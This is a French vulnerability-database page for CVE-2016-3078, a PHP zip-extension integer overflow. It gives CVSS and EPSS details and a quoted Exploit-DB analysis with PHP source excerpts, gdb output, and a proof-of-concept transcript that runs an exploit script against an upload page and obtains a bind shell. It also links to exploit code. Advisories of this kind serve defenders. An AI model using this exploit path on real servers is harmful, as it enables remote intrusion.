CVE-2016-3078 Détail

CVE-2016-3078

Score / Gravité

9.8

Critique

EPSS

4.38%V3

Vecteur

Network

Publié

2016-08-07
08h00 +00:00

Modifié

2017-09-06
07h57 +00:00

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CVE.org

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Descriptions du CVE

Multiple integer overflows in php_zip.c in the zip extension in PHP before 7.0.6 allow remote attackers to cause a denial of service (heap-based buffer overflow and application crash) or possibly have unspecified other impact via a crafted call to (1) getFromIndex or (2) getFromName in the ZipArchive class.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-190	Integer Overflow or Wraparound The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.1	9.8	CRITICAL	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 39742

Date de publication : 2016-04-27 22h00 +00:00
Auteur : Hans Jerry Illikainen
EDB Vérifié : No

Details ======= An integer wrap may occur in PHP 7.x before version 7.0.6 when reading zip files with the getFromIndex() and getFromName() methods of ZipArchive, resulting in a heap overflow. php-7.0.5/ext/zip/php_zip.c ,---- | 2679 static void php_zip_get_from(INTERNAL_FUNCTION_PARAMETERS, int type) /* {{{ */ | 2680 { | .... | 2684 struct zip_stat sb; | .... | 2689 zend_long len = 0; | .... | 2692 zend_string *buffer; | .... | 2702 if (type == 1) { | 2703 if (zend_parse_parameters(ZEND_NUM_ARGS(), "P|ll", &filename, &len, &flags) == FAILURE) { | 2704 return; | 2705 } | 2706 PHP_ZIP_STAT_PATH(intern, ZSTR_VAL(filename), ZSTR_LEN(filename), flags, sb); // (1) | 2707 } else { | 2708 if (zend_parse_parameters(ZEND_NUM_ARGS(), "l|ll", &index, &len, &flags) == FAILURE) { | 2709 return; | 2710 } | 2711 PHP_ZIP_STAT_INDEX(intern, index, 0, sb); // (1) | 2712 } | .... | 2718 if (len < 1) { | 2719 len = sb.size; | 2720 } | .... | 2731 buffer = zend_string_alloc(len, 0); // (2) | 2732 n = zip_fread(zf, ZSTR_VAL(buffer), ZSTR_LEN(buffer)); // (3) | .... | 2742 } `---- With `sb.size' from (1) being: php-7.0.5/ext/zip/lib/zip_stat_index.c ,---- | 038 ZIP_EXTERN int | 039 zip_stat_index(zip_t *za, zip_uint64_t index, zip_flags_t flags, | 040 zip_stat_t *st) | 041 { | ... | 043 zip_dirent_t *de; | 044 | 045 if ((de=_zip_get_dirent(za, index, flags, NULL)) == NULL) | 046 return -1; | ... | 063 st->size = de->uncomp_size; | ... | 086 } `---- Both `size' and `uncomp_size' are unsigned 64bit integers: php-7.0.5/ext/zip/lib/zipint.h ,---- | 339 struct zip_dirent { | ... | 351 zip_uint64_t uncomp_size; /* (cl) size of uncompressed data */ | ... | 332 }; `---- php-7.0.5/ext/zip/lib/zip.h ,---- | 279 struct zip_stat { | ... | 283 zip_uint64_t size; /* size of file (uncompressed) */ | ... | 290 }; `---- Whereas `len' is signed and has a platform-dependent size: php-7.0.5/Zend/zend_long.h ,---- | 028 #if defined(__x86_64__) || defined(__LP64__) || defined(_LP64) || defined(_WIN64) | 029 # define ZEND_ENABLE_ZVAL_LONG64 1 | 030 #endif | ... | 033 #ifdef ZEND_ENABLE_ZVAL_LONG64 | 034 typedef int64_t zend_long; | ... | 043 #else | 044 typedef int32_t zend_long; | ... | 053 #endif `---- Uncompressed file sizes in zip-archives may be specified as either 32- or 64bit values; with the latter requiring that the size be specified in the extra field in zip64 mode. Anyway, as for the invocation of `zend_string_alloc()' in (2): php-7.0.5/Zend/zend_string.h ,---- | 119 static zend_always_inline zend_string *zend_string_alloc(size_t len, int persistent) | 120 { | 121 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent); // (4) | ... | 133 ZSTR_LEN(ret) = len; // (5) | 134 return ret; | 135 } `---- The `size' argument to the `pemalloc' macro is aligned/adjusted in (4) whilst the *original* value of `len' is stored as the size of the allocated buffer in (5). No boundary checking is done in (4) and it may thus wrap, which would lead to a heap overflow during the invocation of `zip_fread()' in (3) as the `toread' argument is `ZSTR_LEN(buffer)': php-7.0.5/Zend/zend_string.h ,---- | 041 #define ZSTR_LEN(zstr) (zstr)->len `---- On a 32bit system: ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0xfffffffe)) | $1 = 0x10 `---- The wraparound may also occur on 64bit systems with `uncomp_size' specified in the extra field (Zip64 mode; ext/zip/lib/zip_dirent.c:463). However, it won't result in a buffer overflow because of `zip_fread()' bailing on a size that would have wrapped the allocation in (4): php-7.0.5/ext/zip/lib/zip_fread.c ,---- | 038 ZIP_EXTERN zip_int64_t | 039 zip_fread(zip_file_t *zf, void *outbuf, zip_uint64_t toread) | 040 { | ... | 049 if (toread > ZIP_INT64_MAX) { | 050 zip_error_set(&zf->error, ZIP_ER_INVAL, 0); | 051 return -1; | 052 } | ... | 063 } `---- php-7.0.5/ext/zip/lib/zipconf.h ,---- | 130 #define ZIP_INT64_MAX 0x7fffffffffffffffLL `---- ,---- | (gdb) p/x ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(0x7fffffffffffffff)) | $1 = 0x8000000000000018 `---- PoC === Against Arch Linux i686 with php-fpm 7.0.5 behind nginx [1]: ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | [*] this may take a while | [*] 103 of 4096 (0x67fd0)... | [+] connected to 1.2.3.4:5555 | | id | uid=33(http) gid=33(http) groups=33(http) | | uname -a | Linux arch32 4.5.1-1-ARCH #1 SMP PREEMPT Thu Apr 14 19:36:01 CEST | 2016 i686 GNU/Linux | | pacman -Qs php-fpm | local/php-fpm 7.0.5-2 | FastCGI Process Manager for PHP | | cat upload.php | <?php | $zip = new ZipArchive(); | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { | echo "cannot open archive\n"; | } else { | for ($i = 0; $i < $zip->numFiles; $i++) { | $data = $zip->getFromIndex($i); | } | $zip->close(); | } | ?> `---- Solution ======== This issue has been fixed in php 7.0.6. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39742.zip https://github.com/dyntopia/exploits/tree/master/CVE-2016-3078